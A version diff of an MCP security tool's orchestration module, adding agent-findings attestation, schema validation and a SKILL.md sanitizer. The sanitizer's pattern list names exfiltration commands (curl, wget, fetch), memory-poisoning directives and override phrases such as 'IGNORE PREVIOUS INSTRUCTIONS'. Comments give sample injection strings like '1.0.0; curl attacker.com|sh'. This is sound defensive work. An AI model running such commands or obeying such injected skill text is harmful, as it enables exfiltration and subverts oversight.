security-mcp 1.1.4 → 1.3.3

package/dist/mcp/orchestration.js

@@ -12,14 +12,16 @@
  *   8. orchestration.apply_updates        — run auto-update (auto | manual)
  *   9. orchestration.verify_skill_coverage — report uncovered SKILL.md sections
  */
-import { createHash } from "node:crypto";
+import { createHash, randomBytes } from "node:crypto";
 import * as https from "node:https";
 import { mkdir, readFile, writeFile, readdir } from "node:fs/promises";
 import { existsSync, readFileSync, writeFileSync, renameSync, mkdirSync } from "node:fs";
 import { homedir } from "node:os";
-import { dirname, join } from "node:path";
+import { dirname, join, resolve } from "node:path";
+import { fileURLToPath } from "node:url";
 import { z } from "zod";
 import { updateReviewStep } from "../review/store.js";
+import { getChain, verifyChain, computeFindingsHash } from "./audit-chain.js";
 // ---------------------------------------------------------------------------
 // Constants
 // ---------------------------------------------------------------------------
@@ -28,7 +30,18 @@ const MEMORY_DIR = join(homedir(), ".security-mcp", "agent-memory");
 const SKILL_VERSIONS_PATH = join(homedir(), ".security-mcp", "skill-versions.json");
 const SKILLS_MANIFEST_URL = "https://raw.githubusercontent.com/AbrahamOO/security-mcp/main/skills-manifest.json";
 const CLAUDE_SKILLS_DIR = join(homedir(), ".claude", "skills");
+// Skills ship INSIDE the npm package (package.json `files` includes "skills/").
+// The installed package is the consumer's trust root, so ensure_skill prefers the
+// bundled copy over any network download — this closes the trust-on-first-use gap
+// where a skill's integrity hash and its content both came from the same unsigned
+// remote manifest over the same channel (a MITM/compromised host could serve both).
+const BUNDLED_SKILLS_DIR = resolve(dirname(fileURLToPath(import.meta.url)), "../../skills");
+// CWE-494: Pin the registry URL to the canonical npm registry. Never allow
+// this to be overridden by env vars — a compromised env could redirect to a
+// malicious registry.
 const NPM_REGISTRY_URL = "https://registry.npmjs.org/security-mcp/latest";
+// Strict SemVer pattern — rejects any version string that doesn't conform.
+const SEMVER_RE = /^\d{1,5}\.\d{1,5}\.\d{1,5}(?:-[\w.+]+)?$/;
 // CWE-22: input validation patterns for path components
 const SAFE_SKILL_NAME_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]{0,127}$/;
 const SAFE_AGENT_NAME_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]{0,127}$/;
@@ -39,18 +52,24 @@ const ALLOWED_SKILL_URL_PREFIX = "https://raw.githubusercontent.com/";
 const MAX_MANIFEST_BYTES = 256 * 1024; // 256 KB
 const MAX_SKILL_BYTES = 512 * 1024; // 512 KB
 const MAX_NPM_BYTES = 64 * 1024; // 64 KB
-// All SKILL.md sections that must be covered per run
+// All SKILL.md sections that must be covered per run.
+// §EDGE-CASE-MATRIX, §TEMPORAL-THREATS, §DETECTION-GAP, §ZERO-MISS-MANDATE are the
+// four universal sections added to every skill; coverage verification tracks them too.
 const SKILL_MD_SECTIONS = [
     "§1", "§2", "§3", "§4", "§5", "§6", "§7", "§8",
     "§9", "§10", "§11", "§12", "§13", "§14", "§15",
     "§16", "§17", "§18", "§19", "§20", "§21", "§22",
-    "§23", "§24"
+    "§23", "§24",
+    "§EDGE-CASE-MATRIX",
+    "§TEMPORAL-THREATS",
+    "§DETECTION-GAP",
+    "§ZERO-MISS-MANDATE"
 ];
 // ---------------------------------------------------------------------------
 // Internal helpers
 // ---------------------------------------------------------------------------
 async function ensureDir(p) {
-    await mkdir(p, { recursive: true });
+    await mkdir(p, { recursive: true, mode: 0o700 });
 }
 function agentRunDir(agentRunId) {
     // CWE-22: agentRunId must be the 32-char hex digest produced by createAgentRun
@@ -68,7 +87,7 @@ async function readManifest(agentRunId) {
 }
 async function writeManifest(manifest) {
     manifest.updatedAt = new Date().toISOString();
-    await writeFile(manifestPath(manifest.agentRunId), JSON.stringify(manifest, null, 2) + "\n", "utf-8");
+    await writeFile(manifestPath(manifest.agentRunId), JSON.stringify(manifest, null, 2) + "\n", { encoding: "utf-8", mode: 0o600 });
 }
 function defaultAgentRecord() {
     return {
@@ -198,8 +217,11 @@ export const CreateAgentRunSchema = z.object({
 });
 export async function createAgentRun(args) {
     const { runId, scope, internetPermitted, stackContext } = args;
+    // Use 16 bytes of CSPRNG entropy (not Date.now()) so the ID cannot be
+    // predicted or brute-forced even when runId is known.
     const agentRunId = createHash("sha256")
-        .update(`${runId}:${Date.now()}`)
+        .update(`${runId}:`)
+        .update(randomBytes(16))
         .digest("hex")
         .slice(0, 32);
     await ensureDir(agentRunDir(agentRunId));
@@ -221,10 +243,12 @@ export async function createAgentRun(args) {
 // ---------------------------------------------------------------------------
 export const UpdateAgentStatusSchema = z.object({
     agentRunId: z.string().describe("Agent run ID from orchestration.create_agent_run."),
-    agentName: z.string().describe("Name of the agent updating its status."),
+    // CWE-22: constrain agentName to the same safe-name pattern used in path operations
+    agentName: z.string().regex(SAFE_AGENT_NAME_RE, "agentName must be alphanumeric with ._- separators").describe("Name of the agent updating its status."),
     status: z.enum(["running", "completed", "completed_partial", "failed"]),
-    findingsPath: z.string().optional().describe("Relative path to the agent findings JSON file."),
-    summary: z.string().optional().describe("One-line outcome summary.")
+    // CWE-22: findingsPath is stored in the manifest and may later be used as a path — restrict to safe relative path
+    findingsPath: z.string().regex(/^[a-zA-Z0-9][\w./,-]{0,255}$/, "findingsPath must be a safe relative path").optional().describe("Relative path to the agent findings JSON file."),
+    summary: z.string().max(500).optional().describe("One-line outcome summary.")
 });
 export async function updateAgentStatus(args) {
     const { agentRunId, agentName, status, findingsPath, summary } = args;
@@ -267,6 +291,46 @@ export async function updateAgentStatus(args) {
 }
 // 3. merge_agent_findings
 // ---------------------------------------------------------------------------
+// CWE-20 / inter-agent payload integrity: strict schema for an agent findings file.
+// mergeAgentFindings is the single trust sink for an entire run, so every agent's
+// file is schema-validated AND its findings hash is matched against that agent's
+// signed attestation before any of it reaches the merged gate result.
+const AgentFindingSchema = z.object({
+    id: z.string().min(1).max(128),
+    title: z.string().min(1).max(500),
+    severity: z.enum(["LOW", "MEDIUM", "HIGH", "CRITICAL"]),
+    cwe: z.string().max(64).optional(),
+    attackTechnique: z.string().max(128).optional(),
+    cvssV4: z.number().min(0).max(10).optional(),
+    exploitChain: z.array(z.string().max(1000)).max(100).optional(),
+    files: z.array(z.string().max(1024)).max(500).optional(),
+    evidence: z.array(z.string().max(4000)).max(200).optional(),
+    remediated: z.boolean(),
+    remediationSummary: z.string().max(4000).optional(),
+    requiredActions: z.array(z.string().max(2000)).max(200),
+    complianceImpact: z.object({
+        pciDss: z.array(z.string().max(128)).max(200).optional(),
+        soc2: z.array(z.string().max(128)).max(200).optional(),
+        nist80053: z.array(z.string().max(128)).max(200).optional(),
+        iso27001: z.array(z.string().max(128)).max(200).optional(),
+        gdpr: z.array(z.string().max(128)).max(200).optional(),
+        hipaa: z.array(z.string().max(128)).max(200).optional()
+    }).optional(),
+    beyondSkillMd: z.boolean().optional()
+});
+const AgentFindingsFileSchema = z.object({
+    agentName: z.string().regex(SAFE_AGENT_NAME_RE).optional(),
+    agentRunId: z.string().max(128).optional(),
+    completedAt: z.string().max(64).optional(),
+    internetUsed: z.boolean().optional(),
+    memoryUpdated: z.boolean().optional(),
+    skillMdSectionsCovered: z.array(z.string().max(64)).max(64).optional(),
+    beyondSkillMd: z.array(z.string().max(500)).max(200).optional(),
+    summary: z.string().max(4000).optional(),
+    findings: z.array(AgentFindingSchema).max(5000),
+    remediatedCount: z.number().optional(),
+    openCount: z.number().optional()
+});
 export const MergeAgentFindingsSchema = z.object({
     agentRunId: z.string().describe("Agent run ID."),
     runId: z.string().uuid().describe("Review run ID — used to update the review step record.")
@@ -288,43 +352,129 @@ export async function mergeAgentFindings(args) {
     const agentsPartial = [];
     const sectionsSeen = new Set();
     const beyondSkillMdNotes = [];
+    // ── Inter-agent payload integrity (article surface #3) ───────────────────
+    // Verify the attestation chain and index each agent's attested findings hash.
+    // The chain is the source of truth for "did this agent really produce this
+    // output". If the chain itself is tampered, no attestation can be trusted.
+    const chainResult = await verifyChain(agentRunId);
+    const chain = await getChain(agentRunId);
+    const attestedHashByAgent = new Map();
+    for (const link of chain.links) {
+        if (link.agentName && link.agentName !== "genesis") {
+            attestedHashByAgent.set(link.agentName, link.findingsHash); // last attestation wins
+        }
+    }
+    const chainHasAttestations = attestedHashByAgent.size > 0;
+    const chainInvalid = chainHasAttestations && !chainResult.valid;
+    const verificationMode = chainInvalid ? "chain_invalid" : chainHasAttestations ? "enforced" : "unattested";
+    const attestedAgents = [];
+    const rejectedAgents = [];
+    let tamperDetected = chainInvalid;
+    // Read the manifest once (not per-file) for covered/partial classification.
+    const manifest = await readManifest(agentRunId);
     for (const file of files) {
+        let parsed;
+        let rawFindings;
+        let agentName;
         try {
             const raw = await readFile(join(dir, file), "utf-8");
-            const parsed = JSON.parse(raw);
-            allFindings.push(...parsed.findings);
-            if (parsed.agentName) {
-                const manifest = await readManifest(agentRunId);
-                const rec = manifest.agents[parsed.agentName];
-                if (rec?.status === "completed_partial") {
-                    agentsPartial.push(parsed.agentName);
-                }
-                else {
-                    agentsCovered.push(parsed.agentName);
-                }
-            }
-            for (const s of (parsed.skillMdSectionsCovered ?? []))
-                sectionsSeen.add(s);
-            for (const n of (parsed.beyondSkillMd ?? []))
-                beyondSkillMdNotes.push(n);
+            const rawObj = JSON.parse(raw);
+            // CWE-20: strict schema validation BEFORE the payload is trusted downstream.
+            parsed = AgentFindingsFileSchema.parse(rawObj);
+            // Hash the raw (pre-zod) findings so the digest matches exactly what the
+            // agent serialized when it called security.attest_agent.
+            rawFindings = (rawObj.findings ?? []);
+            agentName = parsed.agentName;
         }
         catch {
-            // Corrupted file — skip, note partial
+            // Corrupted or schema-invalid file — skip, note partial.
             agentsPartial.push(file.replace(".json", ""));
+            continue;
+        }
+        // Reject anything we cannot cryptographically trust when attestations are in use.
+        const label = agentName ?? file.replace(".json", "");
+        if (verificationMode === "chain_invalid") {
+            rejectedAgents.push(`${label} (chain-invalid)`);
+            continue;
+        }
+        if (verificationMode === "enforced") {
+            const expected = agentName ? attestedHashByAgent.get(agentName) : undefined;
+            if (!expected) {
+                rejectedAgents.push(`${label} (unattested)`);
+                continue;
+            }
+            if (expected !== computeFindingsHash(rawFindings)) {
+                rejectedAgents.push(`${label} (hash-mismatch)`);
+                tamperDetected = true; // findings changed after the agent signed them
+                continue;
+            }
+            if (agentName)
+                attestedAgents.push(agentName);
         }
+        allFindings.push(...parsed.findings);
+        if (parsed.agentName) {
+            const rec = manifest.agents[parsed.agentName];
+            if (rec?.status === "completed_partial") {
+                agentsPartial.push(parsed.agentName);
+            }
+            else {
+                agentsCovered.push(parsed.agentName);
+            }
+        }
+        for (const s of (parsed.skillMdSectionsCovered ?? []))
+            sectionsSeen.add(s);
+        for (const n of (parsed.beyondSkillMd ?? []))
+            beyondSkillMdNotes.push(n);
     }
-    // Deduplicate by id (first occurrence wins)
-    const seen = new Set();
-    const deduped = allFindings.filter((f) => {
-        if (seen.has(f.id))
-            return false;
-        seen.add(f.id);
-        return true;
-    });
-    // Sort: CRITICAL > HIGH > MEDIUM > LOW
+    // Deduplicate by id — on collision keep the HIGHEST severity so a malicious or
+    // mislabeled low-severity finding cannot shadow a real CRITICAL that shares its id.
     const severityOrder = { CRITICAL: 0, HIGH: 1, MEDIUM: 2, LOW: 3 };
+    const byId = new Map();
+    for (const f of allFindings) {
+        const prev = byId.get(f.id);
+        if (!prev || (severityOrder[f.severity] ?? 3) < (severityOrder[prev.severity] ?? 3)) {
+            byId.set(f.id, f);
+        }
+    }
+    const deduped = Array.from(byId.values());
+    // Sort: CRITICAL > HIGH > MEDIUM > LOW
     deduped.sort((a, b) => (severityOrder[a.severity] ?? 3) - (severityOrder[b.severity] ?? 3));
     const uncoveredSections = SKILL_MD_SECTIONS.filter((s) => !sectionsSeen.has(s));
+    // Opt-in fail-closed enforcement. An UNSIGNED attestation chain is forgeable by
+    // anyone who can write the run directory (the chain hashes are SHA-256 over public
+    // data), so "enforced" mode only carries cryptographic weight when the chain is
+    // HMAC-signed. Operators who depend on inter-agent integrity set this flag; when
+    // set, the run must be signed + enforced + clean or the gate fails closed. Default
+    // off preserves backward-compatible behavior for runs that never attested.
+    const requireAttestation = ["1", "true", "yes"].includes((process.env.SECURITY_REQUIRE_AGENT_ATTESTATION ?? "").toLowerCase());
+    const chainSigned = Boolean(process.env.SECURITY_AUDIT_HMAC_KEY || process.env.SECURITY_POLICY_HMAC_KEY);
+    const attestationDeficient = requireAttestation &&
+        (verificationMode !== "enforced" || !chainResult.valid || !chainSigned || rejectedAgents.length > 0);
+    const warnings = [];
+    if (verificationMode === "unattested") {
+        warnings.push("No attestation chain present — agent findings were schema-validated but not cryptographically verified. Call security.init_chain + security.attest_agent per agent to enforce inter-agent payload integrity.");
+    }
+    if (chainInvalid) {
+        warnings.push(`Attestation chain failed verification (${chainResult.broken?.reason ?? "unknown"}). All agent findings rejected; gate forced to FAIL.`);
+    }
+    // Honest reporting: surface verifyChain's unsigned-chain caveat even on the success
+    // path so "enforced" is never silently equated with cryptographic guarantee.
+    if (chainResult.warning) {
+        warnings.push(chainResult.warning);
+    }
+    if (rejectedAgents.length > 0) {
+        warnings.push(`${rejectedAgents.length} agent finding file(s) rejected before merge: ${rejectedAgents.join(", ")}.`);
+    }
+    if (attestationDeficient) {
+        warnings.push("SECURITY_REQUIRE_AGENT_ATTESTATION is set but this run is not a signed + enforced + clean attestation — gate forced to FAIL.");
+    }
+    const signatureVerification = {
+        mode: verificationMode,
+        chainValid: chainResult.valid,
+        attestedAgents,
+        rejectedAgents,
+        ...(warnings.length > 0 ? { warning: warnings.join(" ") } : {})
+    };
     const merged = {
         agentRunId,
         runId,
@@ -338,15 +488,18 @@ export async function mergeAgentFindings(args) {
         low: deduped.filter((f) => f.severity === "LOW").length,
         skillMdSectionsCovered: Array.from(sectionsSeen),
         uncoveredSections,
-        findings: deduped
+        findings: deduped,
+        signatureVerification
     };
     // Write merged-findings.json
     const mergedPath = join(dir, "merged-findings.json");
-    await writeFile(mergedPath, JSON.stringify(merged, null, 2) + "\n", "utf-8");
-    // Hook into existing attestation flow
+    await writeFile(mergedPath, JSON.stringify(merged, null, 2) + "\n", { encoding: "utf-8", mode: 0o600 });
+    // Hook into existing attestation flow. A tampered attestation chain or a
+    // findings-hash mismatch (tamperDetected) forces FAIL even with zero findings —
+    // a manipulated run must never produce a green gate.
     const hasCritical = merged.critical > 0;
     const hasHigh = merged.high > 0;
-    const gateStatus = hasCritical || hasHigh ? "FAIL" : "PASS";
+    const gateStatus = tamperDetected || attestationDeficient || hasCritical || hasHigh ? "FAIL" : "PASS";
     await updateReviewStep(runId, "run_pr_gate", "completed", {
         source: "multi-agent-run",
         agentRunId,
@@ -358,12 +511,75 @@ export async function mergeAgentFindings(args) {
         medium: merged.medium,
         low: merged.low,
         uncoveredSkillMdSections: uncoveredSections,
+        signatureVerification,
         gateStatus
     });
     return merged;
 }
 // 4. ensure_skill
 // ---------------------------------------------------------------------------
+// ---------------------------------------------------------------------------
+// POC-7 fix: SKILL.md content sanitization
+// ---------------------------------------------------------------------------
+/**
+ * Patterns that indicate a backdoor or persistence mechanism in SKILL.md content.
+ * These are stripped (line removed) before the file is written to disk.
+ *
+ * Attack classes defended against:
+ *   1. Self-re-installation: instructions telling the agent to call ensure_skill
+ *      on every invocation so a malicious version survives reinstallation.
+ *   2. Exfiltration beacons: instructions to POST/GET findings to external URLs.
+ *   3. Memory poisoning: instructions to write arbitrary false-positives entries.
+ *   4. System prompt override: attempts to redefine the agent's core instructions
+ *      via embedded meta-prompt directives.
+ */
+const SKILL_BACKDOOR_PATTERNS = [
+    // Re-installation / self-update triggers
+    /ensure_skill\s*\(/i,
+    /orchestration\.ensure_skill/i,
+    /on\s+every\s+(invocation|run|start)/i,
+    /at\s+the\s+(start|beginning)\s+of\s+every/i,
+    /auto.?update\s+this\s+skill/i,
+    // Exfiltration
+    /\bfetch\s*\(\s*["'`]https?:\/\/(?!raw\.githubusercontent\.com)/i,
+    /\bcurl\s+https?:\/\/(?!raw\.githubusercontent\.com)/i,
+    /\bwget\s+https?:\/\/(?!raw\.githubusercontent\.com)/i,
+    // Memory poisoning directives
+    /write_agent_memory.*false.?positive/i,
+    /add.*false.?positive.*finding/i,
+    // Meta-prompt takeover markers
+    /<\s*system\s*>/i,
+    /IGNORE\s+PREVIOUS\s+INSTRUCTIONS/i,
+    /IGNORE\s+ALL\s+PRIOR/i,
+    /DISREGARD\s+PREVIOUS/i,
+];
+/**
+ * Sanitizes downloaded SKILL.md content by removing lines that match known
+ * backdoor / prompt-injection patterns. Throws if more than 10 % of lines are
+ * stripped (indicates the skill file itself may be malicious).
+ */
+function sanitizeSkillContent(content, skillName) {
+    const lines = content.split("\n");
+    const stripped = [];
+    const clean = lines.filter((line, idx) => {
+        const isMalicious = SKILL_BACKDOOR_PATTERNS.some((re) => re.test(line));
+        if (isMalicious)
+            stripped.push(idx + 1);
+        return !isMalicious;
+    });
+    if (stripped.length > 0) {
+        console.warn(`[ensureSkill] Stripped ${stripped.length} suspicious line(s) from "${skillName}" SKILL.md ` +
+            `(lines: ${stripped.join(", ")}). Review the source file.`);
+    }
+    // If more than 10 % of lines were stripped, the file is likely malicious — refuse install.
+    const strippedFraction = stripped.length / Math.max(lines.length, 1);
+    if (strippedFraction > 0.10) {
+        throw new Error(`SKILL.md for "${skillName}" was rejected: ${stripped.length}/${lines.length} lines ` +
+            `matched backdoor patterns (>${Math.round(strippedFraction * 100)}% threshold). ` +
+            `Do not install this skill.`);
+    }
+    return clean.join("\n");
+}
 export const EnsureSkillSchema = z.object({
     skillName: z.string().describe("Name of the skill to ensure is installed (e.g. 'threat-modeler')."),
     version: z.string().optional().describe("Required version; re-downloads if installed version differs.")
@@ -383,7 +599,22 @@ export async function ensureSkill(args) {
     if (alreadyCurrent) {
         return { downloaded: false, version: installed.version, path: skillPath };
     }
-    // Fetch manifest
+    // TRUST ROOT: prefer the skill bundled inside the installed package over the network.
+    // No download, no manifest, no TOFU — the consumer already trusts the installed package.
+    const bundledPath = join(BUNDLED_SKILLS_DIR, skillName, "SKILL.md");
+    if (existsSync(bundledPath)) {
+        const sanitized = sanitizeSkillContent(readFileSync(bundledPath, "utf-8"), skillName);
+        mkdirSync(dirname(skillPath), { recursive: true, mode: 0o700 });
+        const tmp = `${skillPath}.tmp.${process.pid}`;
+        writeFileSync(tmp, sanitized, { encoding: "utf-8", mode: 0o600 });
+        renameSync(tmp, skillPath);
+        const bundledVersion = requiredVersion ?? "bundled";
+        versions[skillName] = { version: bundledVersion, installedAt: new Date().toISOString(), path: skillPath };
+        mkdirSync(dirname(SKILL_VERSIONS_PATH), { recursive: true, mode: 0o700 });
+        writeFileSync(SKILL_VERSIONS_PATH, JSON.stringify(versions, null, 2) + "\n", { encoding: "utf-8", mode: 0o600 });
+        return { downloaded: false, version: bundledVersion, path: skillPath };
+    }
+    // Fallback (skill not bundled): fetch from the manifest with mandatory integrity check.
     const manifestRaw = await httpsGet(SKILLS_MANIFEST_URL, MAX_MANIFEST_BYTES);
     if (!manifestRaw) {
         throw new Error(`Cannot fetch skills manifest — check internet connection or run with internet permitted.`);
@@ -402,26 +633,31 @@ export async function ensureSkill(args) {
     if (!content) {
         throw new Error(`Failed to download SKILL.md for "${skillName}" from ${entry.url}`);
     }
-    // CWE-494: verify SHA-256 of downloaded skill content against manifest hash
+    // CWE-494: verify SHA-256 of downloaded skill content against manifest hash.
+    // sha256 is MANDATORY — reject any manifest entry that omits it. An absent sha256
+    // field is itself an attack vector (allows content substitution without detection).
     const actualHash = createHash("sha256").update(content, "utf-8").digest("hex");
-    if (entry.sha256) {
-        const expectedHash = entry.sha256;
-        if (actualHash !== expectedHash) {
-            throw new Error(`Integrity check failed for skill "${skillName}": expected ${expectedHash}, got ${actualHash}`);
-        }
+    const expectedHash = entry.sha256;
+    if (!expectedHash) {
+        throw new Error(`Integrity check failed for skill "${skillName}": manifest entry has no sha256 field. ` +
+            `All skill entries must include a sha256 hash. Refusing to install.`);
     }
-    else {
-        console.warn(`[ensureSkill] No sha256 in manifest for "${skillName}" — skipping integrity check. Consider pinning the manifest to a commit SHA.`);
+    if (actualHash !== expectedHash) {
+        throw new Error(`Integrity check failed for skill "${skillName}": expected ${expectedHash}, got ${actualHash}`);
     }
+    // POC-7 fix: sanitize SKILL.md content before writing to disk.
+    // Strip instruction patterns that would cause the agent to re-invoke ensure_skill
+    // on every run (persistence backdoor) or exfiltrate data to external URLs.
+    const sanitized = sanitizeSkillContent(content, skillName);
     // Write skill atomically (write to temp, then rename) to prevent partial-write corruption
-    mkdirSync(dirname(skillPath), { recursive: true });
+    mkdirSync(dirname(skillPath), { recursive: true, mode: 0o700 });
     const tmpSkillPath = `${skillPath}.tmp.${process.pid}`;
-    writeFileSync(tmpSkillPath, content, "utf-8");
+    writeFileSync(tmpSkillPath, sanitized, { encoding: "utf-8", mode: 0o600 });
     renameSync(tmpSkillPath, skillPath);
     // Update version cache
     versions[skillName] = { version: entry.version, installedAt: new Date().toISOString(), path: skillPath };
-    mkdirSync(dirname(SKILL_VERSIONS_PATH), { recursive: true });
-    writeFileSync(SKILL_VERSIONS_PATH, JSON.stringify(versions, null, 2) + "\n", "utf-8");
+    mkdirSync(dirname(SKILL_VERSIONS_PATH), { recursive: true, mode: 0o700 });
+    writeFileSync(SKILL_VERSIONS_PATH, JSON.stringify(versions, null, 2) + "\n", { encoding: "utf-8", mode: 0o600 });
     return { downloaded: true, version: entry.version, path: skillPath };
 }
 // 5. read_agent_memory
@@ -446,14 +682,26 @@ export async function readAgentMemory(args) {
 }
 // 6. write_agent_memory
 // ---------------------------------------------------------------------------
+// CWE-20: typed schema for false-positive entries — prevents arbitrary suppression payloads
+const FalsePositiveEntrySchema = z.object({
+    findingId: z.string().min(1).max(128).regex(/^[A-Z0-9_-]+$/, "findingId must be UPPER_SNAKE_CASE"),
+    reason: z.string().min(1).max(500),
+    affectedFiles: z.array(z.string().max(256)).max(50).optional(),
+    suppressUntil: z.string().datetime().optional(),
+    addedBy: z.literal("agent").describe("Only agents may add false-positive entries; blocks attacker-injected 'addedBy' fields")
+});
+// CWE-400: cap on individual memory entries to prevent disk exhaustion
+const MAX_MEMORY_ITEMS = 500;
+const MAX_PATTERN_ITEM_LENGTH = 2048; // characters per pattern string item
+const MAX_INTEL_BYTES = 65536; // 64 KB
 export const WriteAgentMemorySchema = z.object({
     agentName: z.string().describe("Agent name whose memory to update."),
     data: z.object({
-        patterns: z.array(z.unknown()).optional(),
-        falsePositives: z.array(z.unknown()).optional(),
-        remediations: z.array(z.unknown()).optional(),
+        patterns: z.array(z.string().max(MAX_PATTERN_ITEM_LENGTH)).max(MAX_MEMORY_ITEMS).optional(),
+        falsePositives: z.array(FalsePositiveEntrySchema).max(MAX_MEMORY_ITEMS).optional(),
+        remediations: z.array(z.string().max(MAX_PATTERN_ITEM_LENGTH)).max(MAX_MEMORY_ITEMS).optional(),
         intel: z.unknown().optional(),
-        errors: z.array(z.unknown()).optional()
+        errors: z.array(z.string().max(MAX_PATTERN_ITEM_LENGTH)).max(MAX_MEMORY_ITEMS).optional()
     })
 });
 export async function writeAgentMemory(args) {
@@ -463,14 +711,19 @@ export async function writeAgentMemory(args) {
         throw new Error(`Invalid agent name "${agentName}"`);
     }
     const dir = join(MEMORY_DIR, agentName);
-    mkdirSync(dir, { recursive: true });
+    mkdirSync(dir, { recursive: true, mode: 0o700 });
     const written = [];
     const append = (file, newItems, existing) => {
         if (!newItems?.length)
             return;
-        const merged = [...existing, ...newItems];
+        // CWE-400: cap total entries to prevent disk exhaustion
+        const merged = [...existing, ...newItems].slice(-MAX_MEMORY_ITEMS);
+        const serialized = JSON.stringify(merged, null, 2) + "\n";
+        if (Buffer.byteLength(serialized, "utf-8") > MAX_INTEL_BYTES) {
+            throw new Error(`Memory file "${file}" would exceed 64 KB size cap after write — trim existing entries first.`);
+        }
         const p = join(dir, file);
-        writeFileSync(p, JSON.stringify(merged, null, 2) + "\n", "utf-8");
+        writeFileSync(p, serialized, { encoding: "utf-8", mode: 0o600 });
         written.push(p);
     };
     append("patterns.json", data.patterns, readJson(join(dir, "patterns.json"), []));
@@ -484,7 +737,12 @@ export async function writeAgentMemory(args) {
         const intelObj = (typeof data.intel === "object" && data.intel !== null)
             ? Object.fromEntries(Object.entries(data.intel).filter(([k]) => !PROTO_KEYS.has(k)))
             : {};
-        writeFileSync(p, JSON.stringify({ ...intelObj, fetchedAt: new Date().toISOString() }, null, 2) + "\n", "utf-8");
+        const intelPayload = JSON.stringify({ ...intelObj, fetchedAt: new Date().toISOString() }, null, 2) + "\n";
+        // CWE-400: reject intel blobs over 64 KB
+        if (Buffer.byteLength(intelPayload, "utf-8") > MAX_INTEL_BYTES) {
+            throw new Error(`Intel payload exceeds 64 KB size cap (${Buffer.byteLength(intelPayload, "utf-8")} bytes).`);
+        }
+        writeFileSync(p, intelPayload, { encoding: "utf-8", mode: 0o600 });
         written.push(p);
     }
     return { written };
@@ -494,43 +752,57 @@ export async function writeAgentMemory(args) {
 export const CheckUpdatesSchema = z.object({
     currentMcpVersion: z.string().describe("Currently installed security-mcp version (from package.json).")
 });
-export async function checkUpdates(args) {
-    const { currentMcpVersion } = args;
-    // Check npm for MCP update
-    let latestMcpVersion = null;
+/** Fetch and validate the latest security-mcp version from npm. Returns null on failure. */
+async function fetchLatestMcpVersion() {
     const npmRaw = await httpsGet(NPM_REGISTRY_URL, MAX_NPM_BYTES, 3000);
-    if (npmRaw) {
-        try {
-            latestMcpVersion = JSON.parse(npmRaw).version ?? null;
-        }
-        catch { /* ignore */ }
+    if (!npmRaw)
+        return null;
+    try {
+        const parsed = JSON.parse(npmRaw).version ?? null;
+        // CWE-20: reject malformed version strings — a MitM could return a crafted
+        // version like "1.0.0 && curl attacker.com | sh" to inject shell commands.
+        if (parsed && SEMVER_RE.test(parsed))
+            return parsed;
+        if (parsed)
+            console.warn(`[checkUpdates] Ignoring malformed version string from npm registry: ${JSON.stringify(parsed)}`);
     }
-    // Check skills manifest for skill updates
-    const skillUpdates = [];
-    const versions = readJson(SKILL_VERSIONS_PATH, {});
+    catch { /* ignore parse error */ }
+    return null;
+}
+/** Fetch the skills manifest and return a list of skills that have a newer version. */
+async function fetchSkillUpdates(versions) {
     const manifestRaw = await httpsGet(SKILLS_MANIFEST_URL, MAX_MANIFEST_BYTES, 3000);
-    if (manifestRaw) {
-        try {
-            const manifest = JSON.parse(manifestRaw);
-            for (const [name, entry] of Object.entries(manifest.skills)) {
-                const current = versions[name]?.version;
-                if (current && current !== entry.version) {
-                    skillUpdates.push({ skillName: name, currentVersion: current, latestVersion: entry.version });
-                }
-            }
-        }
-        catch { /* ignore */ }
+    if (!manifestRaw)
+        return [];
+    try {
+        const manifest = JSON.parse(manifestRaw);
+        return Object.entries(manifest.skills).flatMap(([name, entry]) => {
+            const current = versions[name]?.version;
+            return current && current !== entry.version
+                ? [{ skillName: name, currentVersion: current, latestVersion: entry.version }]
+                : [];
+        });
     }
+    catch { /* ignore parse error */ }
+    return [];
+}
+export async function checkUpdates(args) {
+    const { currentMcpVersion } = args;
+    const versions = readJson(SKILL_VERSIONS_PATH, {});
+    const [latestMcpVersion, skillUpdates] = await Promise.all([
+        fetchLatestMcpVersion(),
+        fetchSkillUpdates(versions)
+    ]);
     const hasUpdate = (latestMcpVersion !== null && latestMcpVersion !== currentMcpVersion) ||
         skillUpdates.length > 0;
-    let changelog = "";
+    const changelogParts = [];
     if (latestMcpVersion && latestMcpVersion !== currentMcpVersion) {
-        changelog += `security-mcp: ${currentMcpVersion} → ${latestMcpVersion}\n`;
+        changelogParts.push(`security-mcp: ${currentMcpVersion} → ${latestMcpVersion}`);
     }
     if (skillUpdates.length > 0) {
-        changelog += `Skills with updates: ${skillUpdates.map((s) => s.skillName).join(", ")}`;
+        changelogParts.push(`Skills with updates: ${skillUpdates.map((s) => s.skillName).join(", ")}`);
     }
-    return { hasUpdate, currentMcpVersion, latestMcpVersion, skillUpdates, changelog };
+    return { hasUpdate, currentMcpVersion, latestMcpVersion, skillUpdates, changelog: changelogParts.join("\n") };
 }
 // 8. apply_updates (returns instructions for the SKILL.md to surface to user)
 // ---------------------------------------------------------------------------
@@ -544,11 +816,27 @@ export async function applyUpdates(args) {
     const { choice, latestMcpVersion, skillUpdates } = args;
     const commands = [];
     if (latestMcpVersion) {
+        // CWE-20 / TM-004: latestMcpVersion is caller-supplied (not guaranteed to come from
+        // fetchLatestMcpVersion which validates against SEMVER_RE). A compromised npm
+        // registry response or a direct MCP call could inject shell metacharacters into the
+        // command string. Even though applyUpdates only *returns* commands (never execs them),
+        // a crafted string like "1.0.0; curl attacker.com|sh" would be surfaced to the user
+        // for copy-paste execution. Reject non-semver versions defensively.
+        if (!SEMVER_RE.test(latestMcpVersion)) {
+            throw new Error(`applyUpdates: latestMcpVersion "${latestMcpVersion}" is not a valid semver string. ` +
+                `Refusing to generate update commands to prevent command injection.`);
+        }
         commands.push(`npm install -g security-mcp@${latestMcpVersion}`);
         commands.push(`security-mcp install`);
     }
     if (skillUpdates?.length) {
-        commands.push(`# Re-download updated skills (handled automatically next time /ciso-orchestrator runs)`, ...skillUpdates.map((s) => `# skill: ${s.skillName} will be refreshed via orchestration.ensure_skill`));
+        // CWE-20: validate skillName before interpolating into command strings
+        const safeSkills = skillUpdates.filter((s) => SAFE_SKILL_NAME_RE.test(s.skillName));
+        const rejectedCount = skillUpdates.length - safeSkills.length;
+        if (rejectedCount > 0) {
+            console.warn(`[applyUpdates] Rejected ${rejectedCount} skill(s) with unsafe names.`);
+        }
+        commands.push(`# Re-download updated skills (handled automatically next time /ciso-orchestrator runs)`, ...safeSkills.map((s) => `# skill: ${s.skillName} will be refreshed via orchestration.ensure_skill`));
     }
